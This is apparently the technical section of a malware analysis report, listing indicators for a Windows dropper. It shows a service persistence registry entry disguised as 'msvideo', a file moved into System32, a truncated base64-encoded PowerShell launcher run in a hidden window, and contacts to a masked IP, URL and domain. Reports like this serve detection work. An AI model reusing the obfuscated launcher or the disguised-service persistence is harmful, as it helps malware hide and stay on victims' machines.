Technical Information
- [<HKLM>\System\CurrentControlSet\Services\msvideo] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\msvideo] 'ImagePath' = '"<SYSTEM32>\wiaservc\msvideo.exe"'
- 'msvideo' "<SYSTEM32>\wiaservc\msvideo.exe"
- 'msvideo' <SYSTEM32>\wiaservc\msvideo.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABBAHUAagAwAHAAYgBtAD0AKAAnAE8AJwArACgAJwA2AGwAOQAnACsAJwAyAGYAYwAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgB2ADoAVABlAG0AcABcAFcATwBSAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG...
- %TEMP%\word\2019\o1jp0j.exe
- <SYSTEM32>\wiaservc\msvideo.exe
- from %TEMP%\word\2019\o1jp0j.exe to <SYSTEM32>\wiaservc\msvideo.exe
- '17#.#1.208.86':80
- http://17#.#1.208.86/UA0usZfRVTcJ/
- DNS ASK da###roque.com
- '%TEMP%\word\2019\o1jp0j.exe'
- '<SYSTEM32>\wiaservc\msvideo.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABBAHUAagAwAHAAYgBtAD0AKAAnAE8AJwArACgAJwA2AGwAOQAnACsAJwAyAGYAYwAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgB2ADoAVABlAG0AcABcAFcATwBSAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG...' (with hidden window)